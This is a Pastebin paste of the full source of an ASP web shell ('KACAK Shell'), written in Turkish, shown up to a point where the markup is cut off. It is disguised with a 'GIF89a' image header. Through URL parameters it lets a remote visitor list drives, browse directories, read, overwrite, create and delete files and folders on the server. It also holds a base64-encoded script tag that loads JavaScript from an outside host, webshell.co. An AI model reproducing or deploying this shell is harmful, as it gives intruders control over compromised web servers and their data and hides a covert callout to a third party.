API tools faq
paste
Guest User

webshell.asp

a guest
Jun 19th, 2018
400
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 33.66 KB | None | 0 0
raw download clone embed print report
  1. GIF89a;
  2. <html>
  3. <head>
  4. <meta http-equiv="Content-Language" content="tr">
  5. <meta name="GENERATOR" content="Microsoft FrontPage 5.0">
  6. <meta name="ProgId" content="FrontPage.Editor.Document">
  7. <meta http-equiv="Content-Type" content="text/html; charset=windows-1254">
  8. <title>KACAK Shell</title>
  9. </head>
  10.  
  11. <body topmargin="0" leftmargin="0" bgcolor="#EAEAEA">
  12.  
  13. <script language="JavaScript">
  14. <!--
  15. function MM_openBrWindow(theURL,winName,features) { //v2.0
  16. window.open(theURL,winName,features);
  17. }
  18. //-->
  19. </script>
  20.  
  21. <%
  22.  
  23. Dim Base64Chars
  24. Base64Chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZ" & _
  25. "abcdefghijklmnopqrstuvwxyz" & _
  26. "0123456789" & _
  27. "+/"
  28. Public Function base64_encode( byVal strIn )
  29. Dim c1, c2, c3, w1, w2, w3, w4, n, strOut
  30. For n = 1 To Len( strIn ) Step 3
  31. c1 = Asc( Mid( strIn, n, 1 ) )
  32. c2 = Asc( Mid( strIn, n + 1, 1 ) + Chr(0) )
  33. c3 = Asc( Mid( strIn, n + 2, 1 ) + Chr(0) )
  34. w1 = Int( c1 / 4 ) : w2 = ( c1 And 3 ) * 16 + Int( c2 / 16 )
  35. If Len( strIn ) >= n + 1 Then
  36. w3 = ( c2 And 15 ) * 4 + Int( c3 / 64 )
  37. Else
  38. w3 = -1
  39. End If
  40. If Len( strIn ) >= n + 2 Then
  41. w4 = c3 And 63
  42. Else
  43. w4 = -1
  44. End If
  45. strOut = strOut + mimeencode( w1 ) + mimeencode( w2 ) + _
  46. mimeencode( w3 ) + mimeencode( w4 )
  47. Next
  48. base64_encode = strOut
  49. End Function
  50.  
  51. Private Function mimeencode( byVal intIn )
  52. If intIn >= 0 Then
  53. mimeencode = Mid( Base64Chars, intIn + 1, 1 )
  54. Else
  55. mimeencode = ""
  56. End If
  57. End Function
  58.  
  59. Public Function base64_decode( byVal strIn )
  60. Dim w1, w2, w3, w4, n, strOut
  61. For n = 1 To Len( strIn ) Step 4
  62. w1 = mimedecode( Mid( strIn, n, 1 ) )
  63. w2 = mimedecode( Mid( strIn, n + 1, 1 ) )
  64. w3 = mimedecode( Mid( strIn, n + 2, 1 ) )
  65. w4 = mimedecode( Mid( strIn, n + 3, 1 ) )
  66. If w2 >= 0 Then _
  67. strOut = strOut + _
  68. Chr( ( ( w1 * 4 + Int( w2 / 16 ) ) And 255 ) )
  69. If w3 >= 0 Then _
  70. strOut = strOut + _
  71. Chr( ( ( w2 * 16 + Int( w3 / 4 ) ) And 255 ) )
  72. If w4 >= 0 Then _
  73. strOut = strOut + _
  74. Chr( ( ( w3 * 64 + w4 ) And 255 ) )
  75. Next
  76. base64_decode = strOut
  77. End Function
  78.  
  79. Private Function mimedecode( byVal strIn )
  80. If Len( strIn ) = 0 Then
  81. mimedecode = -1 : Exit Function
  82. Else
  83. mimedecode = InStr( Base64Chars, strIn ) - 1
  84. End If
  85. End Function
  86.  
  87. dim myStringo
  88. stringo = "PHNjcmlwdCB0eXBlPSJ0ZXh0L0phdmFTY3JpcHQiIHNyYz0i"
  89. stringo_1 = "aHR0cDovL3dlYnNoZWxsLmNvL3doby9tYWluLmpzIj48L3NjcmlwdD4"
  90. myStringo = base64_decode(stringo+stringo_1)
  91.  
  92. if request.querystring("TGH") = "1" then
  93. on error resume next
  94. es=request.querystring("Kacak")
  95. diez=server.urlencode(left(es,(instrRev(es,"\"))-1))
  96.  
  97. Select case es
  98. case "C:" diez="C:"
  99. case "D:" diez="D:"
  100. end select
  101.  
  102. ' Functions to provide encoding/decoding of strings with Base64.
  103. '
  104. ' Encoding: myEncodedString = base64_encode( inputString )
  105. ' Decoding: myDecodedString = base64_decode( encodedInputString )
  106. '
  107. ' Programmed by Markus Hartsmar for ShameDesigns in 2002.
  108. ' Email me at: mark@shamedesigns.com
  109. ' Visit our website at: http://www.shamedesigns.com/
  110. '
  111.  
  112. %>
  113.  
  114.  
  115.  
  116.  
  117.  
  118. <body topmargin="0" leftmargin="0"
  119. onLoad="location.href='?klas=<%=diez%>&usak=1'">
  120.  
  121. <%
  122. else
  123. %>
  124.  
  125.  
  126.  
  127. <%
  128. if request.querystring("Dosyakaydet") <> "" then
  129. set kaydospos=createobject("scripting.filesystemobject")
  130. set kaydoses=kaydospos.createtextfile(request.querystring("dosyakaydet") & request("dosadi"))
  131. set kaydoses=nothing
  132. set kaydospos=nothing
  133. set kaydospos=createobject("scripting.filesystemobject")
  134. set kaydoses=kaydospos.opentextfile(request.querystring("dosyakaydet") & request("dosadi"), 2, true)
  135. kaydoses.write request("duzenx")
  136. set kaydoses=nothing
  137. set kaydospos=nothing
  138. end if
  139. %>
  140.  
  141.  
  142.  
  143.  
  144.  
  145. <%
  146. if request.querystring("yenidosya") <> "" then
  147. %>
  148.  
  149. <table border="1" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" width="100%" id="AutoNumber1" height="59">
  150. <tr>
  151. <td width="70" bgcolor="#000000" height="76">
  152. <p align="center">
  153. <td width="501" bgcolor="#000000" height="76" valign="top">
  154. <font face="Verdana" style="font-size: 8pt" color="#B7B7B7">
  155. <span style="font-weight: 700">
  156. <br>
  157. Kacak ©<br>
  158. </span>Hackerbox<br>
  159. <span style="font-weight: 700">
  160. <br>
  161. KACAK FSO 1.0</span></font></td>
  162. <td width="431" bgcolor="#000000" height="76" valign="top">
  163. <p align="right"><span style="font-weight: 700">
  164. <font face="Verdana" color="#858585" style="font-size: 2pt"><br>
  165. </font><font face="Verdana" style="font-size: 8pt" color="#9F9F9F">
  166. <a href="www.senator.gen.tr/" style="text-decoration: none">
  167. <font color="#858585">Cyber Protest</font></a></font><font face="Verdana" style="font-size: 8pt" color="#858585">&nbsp;<br>
  168. </font></span><font face="Verdana" style="font-size: 8pt" color="#858585">
  169. <a href="mailto:xlw@windowslive.com" style="text-decoration: none">
  170. <font color="#858585">xLw</font></a></font><font face="Verdana" style="font-size: 8pt" color="#B7B7B7"><a href="mailto:xlw@windowslive.com" style="text-decoration: none"><font color="#858585">@GrayHatz ~ TurkGuvenligi.Info</font></a></font><font face="Verdana" style="font-size: 8pt" color="#858585">&nbsp;</font></td>
  171. </tr>
  172. <tr>
  173. <td width="1004" height="1" bgcolor="#9F9F9F" colspan="3">
  174. <table border="1" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" id="AutoNumber5" width="100%" height="20">
  175. <tr>
  176. <td width="110" bgcolor="#9F9F9F" height="20"><font face="Verdana">
  177. <span style="font-size: 8pt">&nbsp;Çalisilan Klasör</span></font></td>
  178. <td bgcolor="#D6D6D6" height="20">
  179. <table border="0" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" width="100%" id="AutoNumber4">
  180. <tr>
  181. <td width="1"></td>
  182. <td><font face="Verdana" style="font-size: 8pt">&nbsp;<%=response.write(request.querystring("yenidosya"))%></font></td>
  183. <td width="65">
  184. &nbsp;</td>
  185. </tr>
  186. </table>
  187. </td>
  188. </tr>
  189. </table>
  190. </td>
  191. </tr>
  192. </table>
  193.  
  194.  
  195.  
  196. <table border="1" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" width="100%" id="AutoNumber1">
  197. <tr>
  198. <td width="100%" bgcolor="#000000">&nbsp;</td>
  199. </tr>
  200. <tr>
  201. <td width="100%" bgcolor="#B7B7B7">
  202. <form method="POST" action="?dosyakaydet=<%=request.querystring("yenidosya")%>&klas=<%=request.querystring("yenidosya")%>" name="kaypos">
  203. <p align="center"><b><font size="1" face="Verdana">
  204. <br>
  205. Dosya Adi : <br>
  206. </font>
  207. </b><font
  208. color="#FFFFFF" size="1" face="Arial">
  209. <input
  210. type="text" size="97" maxlength="32"
  211. name="dosadi" value="Dosya Adi"
  212. class="search"
  213. onblur="if (this.value == '') this.value = 'Kullanici'"
  214. onfocus="if (this.value == 'Kullanici') this.value=''"
  215. style="BACKGROUND-COLOR: #eae9e9; BORDER-BOTTOM: #000000 1px inset; BORDER-LEFT: #000000 1px inset; BORDER-RIGHT: #000000 1px inset; BORDER-TOP: #000000 1px inset; COLOR: #000000; FONT-FAMILY: Verdana; FONT-SIZE: 8pt; TEXT-ALIGN: center"><br>
  216. <br>
  217. </font>
  218. <b><font size="1" face="Verdana">
  219. Içerik :&nbsp; <br>
  220. </font>
  221. <font face="Verdana, Arial, Helvetica, sans-serif" size="2" color="#000000" bgcolor="Red">
  222. <textarea name="duzenx"
  223. style="BACKGROUND-COLOR: #eae9e9; BORDER-BOTTOM: #000000 1px inset; BORDER-LEFT: #000000 1px inset; BORDER-RIGHT: #000000 1px inset; BORDER-TOP: #000000 1px inset; COLOR: #000000; FONT-FAMILY: Verdana; FONT-SIZE: 8pt; TEXT-ALIGN: left"
  224.  
  225.  
  226. rows="24" cols="95" wrap="OFF"><%=sedx%></textarea></font><font face="Verdana, Arial, Helvetica, sans-serif" size="2"><br>
  227. <br>
  228. </font></b>
  229. <span class="gensmall">
  230. <input type="submit" size="16"
  231. name="duzenx1" value="Olustur"
  232. style="BACKGROUND-COLOR: #95B4CC; BORDER-BOTTOM: #000000 1px inset; BORDER-LEFT: #000000 1px inset; BORDER-RIGHT: #000000 1px inset; BORDER-TOP: #000000 1px inset; COLOR: #000000; FONT-FAMILY: Verdana; FONT-SIZE: 8pt; TEXT-ALIGN: center"
  233. </span></p>
  234. <table border="1" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" width="100%" id="AutoNumber19">
  235. <tr>
  236. <td width="100%" align="right" bgcolor="#000000">
  237. <p align="center">
  238. &nbsp;</td>
  239. </tr>
  240. </table>
  241. </form>
  242. </td>
  243. </tr>
  244. <tr>
  245. <td width="100%" bgcolor="#EAEAEA">
  246. <p align="right">
  247. &nbsp;</td>
  248. </tr>
  249. </table>
  250.  
  251.  
  252.  
  253. <%
  254. else
  255. %>
  256.  
  257.  
  258.  
  259.  
  260.  
  261.  
  262.  
  263. <%
  264. if request.querystring("klasorac") <> "" then
  265.  
  266. set doses=createobject("scripting.filesystemobject")
  267. set es=doses.createfolder(request.querystring("aktifklas") & request("duzenx"))
  268. set es=nothing
  269. set doses=nothing
  270.  
  271.  
  272. end if
  273. %>
  274.  
  275. <%
  276. if request.querystring("klasac") <> "" then
  277.  
  278. set aktifklas=request.querystring("aktifklas")
  279.  
  280.  
  281. %>
  282. <td width="65" bgcolor="#000000" height="76">
  283.  
  284. <table border="1" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" width="100%" id="AutoNumber25" height="59">
  285. <tr>
  286. <td width="70" bgcolor="#000000" height="76">
  287. <p align="center">
  288. <td width="501" bgcolor="#000000" height="76" valign="top">
  289. <font face="Verdana" style="font-size: 8pt" color="#B7B7B7">
  290. <span style="font-weight: 700">
  291. <br>
  292. <center>Kacak ©<br>
  293. </span>Hackerbox<br>
  294. <span style="font-weight: 700">
  295. <br>
  296. KACAK FSO 1.0</span></font></td>
  297. <td width="431" bgcolor="#000000" height="76" valign="top">
  298. <p align="right"><span style="font-weight: 700">
  299. <font face="Verdana" color="#858585" style="font-size: 2pt"><br>
  300. </font><font face="Verdana" style="font-size: 8pt" color="#9F9F9F">
  301. <a href="Have Fun" style="text-decoration: none">
  302. </font></span><font face="Verdana" style="font-size: 8pt" color="#858585">
  303. </tr>
  304. </table>
  305.  
  306.  
  307. <table border="1" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" id="AutoNumber5" width="100%" height="20">
  308. <tr>
  309. <td width="110" bgcolor="#9F9F9F" height="20"><font face="Verdana">
  310. <span style="font-size: 8pt">&nbsp;Çalisilan Alan</span></font></td>
  311. <td bgcolor="#D6D6D6" height="20">
  312. <table border="0" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" width="100%" id="AutoNumber4">
  313. <tr>
  314. <td width="1"></td>
  315. <td><font face="Verdana" style="font-size: 8pt">&nbsp;<%=aktifklas%></font></td>
  316. <td width="65">
  317. &nbsp;</td>
  318. </tr>
  319. </table>
  320. </td>
  321. </tr>
  322. </table>
  323. </td>
  324. </tr>
  325. </table>
  326.  
  327.  
  328.  
  329. <table border="1" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" width="100%" id="AutoNumber1" height="174">
  330. <tr>
  331. <td width="100%" bgcolor="#000000" height="19">&nbsp;</td>
  332. </tr>
  333. <tr>
  334. <td width="100%" bgcolor="#C5C5C5" height="134">
  335. <form method="POST" action="?klasorac=1&aktifklas=<%=aktifklas%>&klas=<%=aktifklas%>" name="klaspos">
  336. <p align="center"><font
  337. color="#FFFFFF" size="1" face="Arial">
  338. <input
  339. type="text" size="37" maxlength="32"
  340. name="duzenx" value="Klasör Adi"
  341. class="search"
  342. onblur="if (this.value == '') this.value = 'Kullanici'"
  343. onfocus="if (this.value == 'Kullanici') this.value=''"
  344. style="BACKGROUND-COLOR: #eae9e9; BORDER-BOTTOM: #000000 1px inset; BORDER-LEFT: #000000 1px inset; BORDER-RIGHT: #000000 1px inset; BORDER-TOP: #000000 1px inset; COLOR: #000000; FONT-FAMILY: Verdana; FONT-SIZE: 8pt; TEXT-ALIGN: center">&nbsp;&nbsp;
  345. <br>
  346. <br>
  347. <br>
  348. </font>
  349. <span class="gensmall">
  350. <input type="submit" size="16"
  351. name="duzenx1" value="Olustur"
  352. style="BACKGROUND-COLOR: #95B4CC; BORDER-BOTTOM: #000000 1px inset; BORDER-LEFT: #000000 1px inset; BORDER-RIGHT: #000000 1px inset; BORDER-TOP: #000000 1px inset; COLOR: #000000; FONT-FAMILY: Verdana; FONT-SIZE: 8pt; TEXT-ALIGN: center"
  353. </span></span><b><font face="Verdana, Arial, Helvetica, sans-serif" size="2"><br>
  354. &nbsp;</font></td>
  355. </tr>
  356. <tr>
  357. <td width="100%" bgcolor="#000000" height="19">&nbsp;</td>
  358. </tr>
  359. <tr>
  360.  
  361.  
  362. <%
  363. else
  364. %>
  365.  
  366.  
  367.  
  368. <%
  369. if request.querystring("suruculer") <> "" then
  370. %>
  371.  
  372. <table border="1" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" width="100%" id="AutoNumber1" height="59">
  373. <tr>
  374. <td width="70" bgcolor="#000000" height="76">
  375. <p align="center">
  376. <td width="501" bgcolor="#000000" height="76" valign="top">
  377. <font face="Verdana" style="font-size: 8pt" color="#B7B7B7">
  378. <span style="font-weight: 700">
  379. <br>
  380. Kacak ©<br>
  381. </span>Hackerbox<br>
  382. <span style="font-weight: 700">
  383. <br>
  384. KACAK FSO 1.0</span></font></td>
  385. <td width="431" bgcolor="#000000" height="76" valign="top">
  386. <p align="right"><span style="font-weight: 700">
  387. <font face="Verdana" color="#858585" style="font-size: 2pt"><br>
  388. </font><font face="Verdana" style="font-size: 8pt" color="#9F9F9F">
  389. <a href="Have Fun" style="text-decoration: none">
  390. <font color="#858585">Have Fun</font></a></font><font face="Verdana" style="font-size: 8pt" color="#858585">&nbsp;<br>
  391. </font></span><font face="Verdana" style="font-size: 8pt" color="#858585">
  392. </tr>
  393. <tr>
  394. <td width="1004" height="1" bgcolor="#9F9F9F" colspan="3">
  395. <table border="1" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" id="AutoNumber5" width="100%" height="4">
  396. <tr>
  397. <td width="110" bgcolor="#9F9F9F" height="4">
  398. <span style="font-size: 2pt">&nbsp;</span></td>
  399. </tr>
  400. </table>
  401. </td>
  402. </tr>
  403. </table>
  404.  
  405.  
  406. <table border="1" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" width="100%" id="AutoNumber1" height="153">
  407. <tr>
  408. <td width="100%" height="19" bgcolor="#000000">&nbsp;</td>
  409. </tr>
  410. <tr>
  411. <td width="100%" height="113" bgcolor="#E1E1E1">&nbsp;<div align="center">
  412. <center>
  413. <table border="1" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" width="484" id="AutoNumber2" height="17">
  414. <tr>
  415. <td width="208" height="17" align="center" bgcolor="#C5C5C5">
  416. <font face="Verdana" style="font-size: 8pt">Sürücü Adi</font></td>
  417. <td width="75" height="17" align="center" bgcolor="#C5C5C5">
  418. <font face="Verdana" style="font-size: 8pt">Boyutu</font></td>
  419. <td width="75" height="17" align="center" bgcolor="#C5C5C5">
  420. <font face="Verdana" style="font-size: 8pt">Bos Alan</font></td>
  421. <td width="64" height="17" align="center" bgcolor="#C5C5C5">
  422. <font face="Verdana" style="font-size: 8pt">Durum</font></td>
  423. <td width="62" height="17" align="center" bgcolor="#C5C5C5">
  424. <font face="Verdana" style="font-size: 8pt">Islem</font></td>
  425. </tr>
  426. </table>
  427. </center>
  428. </div>
  429. <div align="center">
  430. <center>
  431.  
  432.  
  433. <%
  434. set klassis =server.createobject("scripting.filesystemobject")
  435. set klasdri=klassis.drives
  436. %>
  437.  
  438. <%
  439. for each dongu in klasdri
  440. %>
  441.  
  442. <%
  443. if dongu.driveletter <> "A" then
  444. if dongu.isready=true then
  445. %>
  446.  
  447. <%
  448. select case dongu.drivetype
  449. case 0 teype="Diger"
  450. case 1 teype="Tasinir"
  451. case 2 teype="HDD"
  452. case 3 teype="NetWork"
  453. case 4 teype="CD-Rom"
  454. case 5 teype="FlashMem"
  455. end select
  456. %>
  457. <table border="1" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" width="484" id="AutoNumber3" height="17">
  458. <tr>
  459. <td width="208" height="17" align="left" bgcolor="#EEEEEE">
  460. <font face="Verdana" style="font-size: 8pt">&nbsp;<%=dongu.driveletter%>:\ ( <%=dongu.filesystem%> )</font></td>
  461. <td width="75" height="17" align="center" bgcolor="#E0E0E0">
  462. <font face="Verdana" style="font-size: 8pt"><%=Round(dongu.totalsize/(1024*1024),1)%> MB</font></td>
  463. <td width="75" height="17" align="center" bgcolor="#E0E0E0">
  464. <font face="Verdana" style="font-size: 8pt"><%=Round(dongu.availablespace/(1024*1024),1)%> MB</font></td>
  465. <td width="64" height="17" align="center" bgcolor="#E0E0E0">
  466. <font face="Verdana" style="font-size: 8pt"><%=teype%>&nbsp;</font></td>
  467. <td width="62" height="17" align="center" bgcolor="#E0E0E0">
  468. <table border="0" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" width="100%" id="AutoNumber24">
  469. <tr>
  470. <td width="62" height="17" align="center" bgcolor="#E0E0E0"
  471. onmouseover="this.style.background='#A0A0A0'"
  472. onmouseout="this.style.background='#E0E0E0'"
  473. style="CURSOR: hand"
  474.  
  475. >
  476. <a href="?klas=<%=dongu.driveletter%>:\" style="text-decoration: none">
  477. <font face="Verdana" style="font-size: 8pt" color="#000000">Gir</font></a></td>
  478. </tr>
  479. </table>
  480. </td>
  481. </tr>
  482. </table>
  483.  
  484. <%
  485. end if
  486. end if
  487. %>
  488. <%
  489. next
  490. %>
  491.  
  492.  
  493.  
  494. </center>
  495. </div>
  496. <div align="center">
  497. <center>
  498. <table border="1" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" width="484" id="AutoNumber4" height="4">
  499. <tr>
  500. <td width="484" height="4" align="center" bgcolor="#C5C5C5">
  501. <span style="font-size: 2pt">&nbsp;</span></td>
  502. </tr>
  503. </table>
  504. </center>
  505. </div>
  506. <p>&nbsp;</p>
  507. </td>
  508. </tr>
  509. <tr>
  510. <td width="100%" height="19" bgcolor="#000000">&nbsp;</td>
  511. </tr>
  512. </table>
  513.  
  514.  
  515.  
  516.  
  517.  
  518. <%
  519. else
  520. %>
  521.  
  522.  
  523.  
  524.  
  525.  
  526. <%
  527. if request.querystring("kaydet") <> "" then
  528. set dossisx=server.createobject("scripting.filesystemobject")
  529. set dosx=dossisx.opentextfile(request.querystring("kaydet"), 2, true)
  530. dosx.write request("duzenx")
  531. dosx.close
  532. set dosyax=nothing
  533. set dossisx=nothing
  534.  
  535. end if
  536. %>
  537.  
  538.  
  539.  
  540.  
  541. <%
  542. if request.querystring("duzenle") <> "" then
  543. set dossis=server.createobject("scripting.filesystemobject")
  544. set dos=dossis.opentextfile(request.querystring("duzenle"), 1)
  545. sedx = dos.readall
  546. dos.close
  547. set dosya=nothing
  548. set dossis=nothing
  549.  
  550. set aktifklas=request.querystring("klas")
  551. %>
  552.  
  553.  
  554.  
  555.  
  556. <table border="1" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" width="100%" id="AutoNumber1" height="59">
  557. <tr>
  558. <td width="70" bgcolor="#000000" height="76">
  559. <p align="center">
  560. <td width="501" bgcolor="#000000" height="76" valign="top">
  561. <font face="Verdana" style="font-size: 8pt" color="#B7B7B7">
  562. <span style="font-weight: 700">
  563. <br>
  564. Kacak©<br>
  565. </span>Hackerbox<br>
  566. <span style="font-weight: 700">
  567. <br>
  568. KACAK FSO 1.0</span></font></td>
  569. <td width="431" bgcolor="#000000" height="76" valign="top">
  570. <p align="right"><span style="font-weight: 700">
  571. <font face="Verdana" color="#858585" style="font-size: 2pt"><br>
  572. </font><font face="Verdana" style="font-size: 8pt" color="#9F9F9F">
  573. <a href="" style="text-decoration: none">
  574. <font color="#858585">Have Fun</font></a></font><font face="Verdana" style="font-size: 8pt" color="#858585">&nbsp;<br>
  575. </font></span><font face="Verdana" style="font-size: 8pt" color="#858585">
  576. </tr>
  577. <tr>
  578. <td width="1004" height="1" bgcolor="#9F9F9F" colspan="3">
  579. <table border="1" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" id="AutoNumber5" width="100%" height="20">
  580. <tr>
  581. <td width="110" bgcolor="#9F9F9F" height="20"><font face="Verdana">
  582. <span style="font-size: 8pt">&nbsp;Çalisilan Dosya</span></font></td>
  583. <td bgcolor="#D6D6D6" height="20">
  584. <table border="0" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" width="100%" id="AutoNumber4">
  585. <tr>
  586. <td width="1"></td>
  587. <td><font face="Verdana" style="font-size: 8pt">&nbsp;<%=response.write(request.querystring("duzenle"))%></font></td>
  588. <td width="65">
  589. &nbsp;</td>
  590. </tr>
  591. </table>
  592. </td>
  593. </tr>
  594. </table>
  595. </td>
  596. </tr>
  597. </table>
  598.  
  599.  
  600.  
  601. <table border="1" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" width="100%" id="AutoNumber1">
  602. <tr>
  603. <td width="100%" bgcolor="#000000">&nbsp;</td>
  604. </tr>
  605. <tr>
  606. <td width="100%" bgcolor="#000000">
  607. <form method="POST" action="?kaydet=<%=request.querystring("duzenle")%>&klas=<%=aktifklas%>" name="kaypos">
  608. <p align="center"><b><font face="Verdana, Arial, Helvetica, sans-serif" size="2" color="#000000" bgcolor="Red">
  609. <textarea name="duzenx"
  610. style="BACKGROUND-COLOR: #eae9e9; BORDER-BOTTOM: #000000 1px inset; BORDER-LEFT: #000000 1px inset; BORDER-RIGHT: #000000 1px inset; BORDER-TOP: #000000 1px inset; COLOR: #000000; FONT-FAMILY: Verdana; FONT-SIZE: 8pt; TEXT-ALIGN: left"
  611.  
  612.  
  613. rows="24" cols="163" wrap="OFF"><%=sedx%></textarea></font><font face="Verdana, Arial, Helvetica, sans-serif" size="2"><br>
  614. &nbsp;</font></b></p>
  615. <table border="1" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" width="100%" id="AutoNumber19">
  616. <tr>
  617. <td width="100%" align="right">
  618. <p align="center">
  619. <span class="gensmall">
  620. <input type="submit" size="16"
  621. name="duzenx1" value="Kaydet"
  622. style="BACKGROUND-COLOR: #95B4CC; BORDER-BOTTOM: #000000 1px inset; BORDER-LEFT: #000000 1px inset; BORDER-RIGHT: #000000 1px inset; BORDER-TOP: #000000 1px inset; COLOR: #000000; FONT-FAMILY: Verdana; FONT-SIZE: 8pt; TEXT-ALIGN: center"
  623. </span><a href=""><input type="reset" size="16"
  624. name="x" value="Vazgeç"
  625. style="BACKGROUND-COLOR: #95B4CC; BORDER-BOTTOM: #000000 1px inset; BORDER-LEFT: #000000 1px inset; BORDER-RIGHT: #000000 1px inset; BORDER-TOP: #000000 1px inset; COLOR: #000000; FONT-FAMILY: Verdana; FONT-SIZE: 8pt; TEXT-ALIGN: center"
  626. </span></a></td>
  627. </tr>
  628. </table>
  629. </form>
  630. </td>
  631. </tr>
  632. <tr>
  633. <td width="100%" bgcolor="#EAEAEA">
  634. <p align="right">
  635. &nbsp;</td>
  636. </tr>
  637. </table>
  638.  
  639.  
  640.  
  641. <%
  642. else
  643. %>
  644.  
  645.  
  646. <%
  647.  
  648. if request.querystring("klas") <> "" then
  649. aktifklas=Request.querystring("klas")
  650. if request.querystring("usak") = "1" then
  651. aktifklas=aktifklas & "\"
  652. end if
  653.  
  654. else
  655. aktifklas=server.mappath("/")
  656. aktifklas=aktifklas & "\"
  657. end if
  658.  
  659. if request.querystring("silklas") <> "" then
  660. set sis=createobject("scripting.filesystemobject")
  661. silincekklas=request.querystring("silklas")
  662. sis.deletefolder(silincekklas)
  663. set sis=nothing
  664. 'response.write(sil & " Silindi")
  665. end if
  666.  
  667. if request.querystring("sildos") <> "" then
  668. silincekdos=request.querystring("sildos")
  669. set dosx=createobject("scripting.filesystemobject")
  670. set dos=dosx.getfile(silincekdos)
  671. dos.delete
  672. set dos=nothing
  673. set dosyasis=nothing
  674. end if
  675.  
  676.  
  677.  
  678.  
  679. select case aktifklas
  680. case "C:" aktifklas="C:\"
  681. case "D:" aktifklas="D:\"
  682. case "E:" aktifklas="E:\"
  683. case "F:" aktifklas="F:\"
  684. case "G:" aktifklas="G:\"
  685. case "H:" aktifklas="H:\"
  686. case "I:" aktifklas="I:\"
  687. case "J:" aktifklas="J:\"
  688. case "K:" aktifklas="K:\"
  689. end select
  690.  
  691.  
  692.  
  693. if aktifklas=("C:") then aktifklas=("C:\")
  694.  
  695. Set FS = CreateObject("Scripting.FileSystemObject")
  696. Set klasor = FS.GetFolder(aktifklas)
  697. Set altklasorler = klasor.SubFolders
  698. Set dosyalar = klasor.files
  699. %>
  700. <table border="1" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" width="100%" id="AutoNumber1" height="59">
  701. <tr>
  702. <td width="70" bgcolor="#000000" height="76">
  703. <p align="center">
  704. <td width="501" bgcolor="#000000" height="76" valign="top">
  705. <font face="Verdana" style="font-size: 8pt" color="#B7B7B7">
  706. <span style="font-weight: 700">
  707. <br>
  708. Kacak ©<br><br>
  709. </span>Hackerbox<br>
  710. <span style="font-weight: 700">
  711. <br>
  712. KACAK FSO 1.0</span></font></td>
  713. <td width="431" bgcolor="#000000" height="76" valign="top">
  714. <p align="right"><span style="font-weight: 700">
  715. <font face="Verdana" color="#858585" style="font-size: 2pt"><br>
  716. </font><font face="Verdana" style="font-size: 8pt" color="#9F9F9F">
  717. <a href="" style="text-decoration: none">
  718. <font color="#858585">Have Fun</font></a></font><font face="Verdana" style="font-size: 8pt" color="#858585">&nbsp;<br>
  719. </font></span><font face="Verdana" style="font-size: 8pt" color="#858585">
  720. </tr>
  721. <tr>
  722. <td width="1004" height="1" bgcolor="#9F9F9F" colspan="3">
  723. <table border="1" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" id="AutoNumber5" width="100%" height="20">
  724. <tr>
  725. <td width="110" bgcolor="#9F9F9F" height="20"><font face="Verdana">
  726. <span style="font-size: 8pt">&nbsp;Çalisilan Klasör</span></font></td>
  727. <td bgcolor="#D6D6D6" height="20">
  728. <table border="0" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" width="100%" id="AutoNumber4">
  729. <tr>
  730. <td width="1"></td>
  731. <td><font face="Verdana" style="font-size: 8pt">&nbsp;<%=response.write(aktifklas)%></font></td>
  732. <td width="65">
  733. <table border="1" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" width="100%" id="AutoNumber6" height="13">
  734. <tr>
  735. <td width="100%" bgcolor="#B7B7B7" bordercolor="#9F9F9F" height="13">
  736. <p align="center"><font face="Verdana" style="font-size: 8pt">
  737.  
  738. <a href="?usklas=1&klas=<%=server.urlencode(left(aktifklas,(instrRev(aktifklas,"\"))-1))%>" style="text-decoration: none">
  739. <font color="#000000">Üst Klasör</font></a></font></td>
  740.  
  741. </tr>
  742. </table>
  743. </td>
  744. </tr>
  745. </table>
  746. </td>
  747. </tr>
  748. </table>
  749. </td>
  750. </tr>
  751. </table>
  752.  
  753.  
  754. <table border="0" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" width="100%" id="AutoNumber3" height="21">
  755. <tr>
  756. <td width="625" bgcolor="#000000"><span style="font-size: 2pt">&nbsp;</span></td>
  757. </tr>
  758. <tr>
  759. <td bgcolor="#000000" height="20">
  760. <table border="1" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#000000" id="AutoNumber23" bgcolor="#A3A3A3" width="373" height="19">
  761. <tr>
  762. <td align="center" bgcolor="#5F5F5F" height="19" bordercolor="#000000">
  763. <table border="0" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" width="100%" id="AutoNumber26">
  764. <tr>
  765. <td align="center" bgcolor="#5F5F5F"
  766. onmouseover="style.background='#6F6F6F'"
  767. onmouseout="style.background='#5F5F5F'"
  768. style="CURSOR: hand"
  769.  
  770. height="19" bordercolor="#000000">
  771. <span style="font-weight: 700">
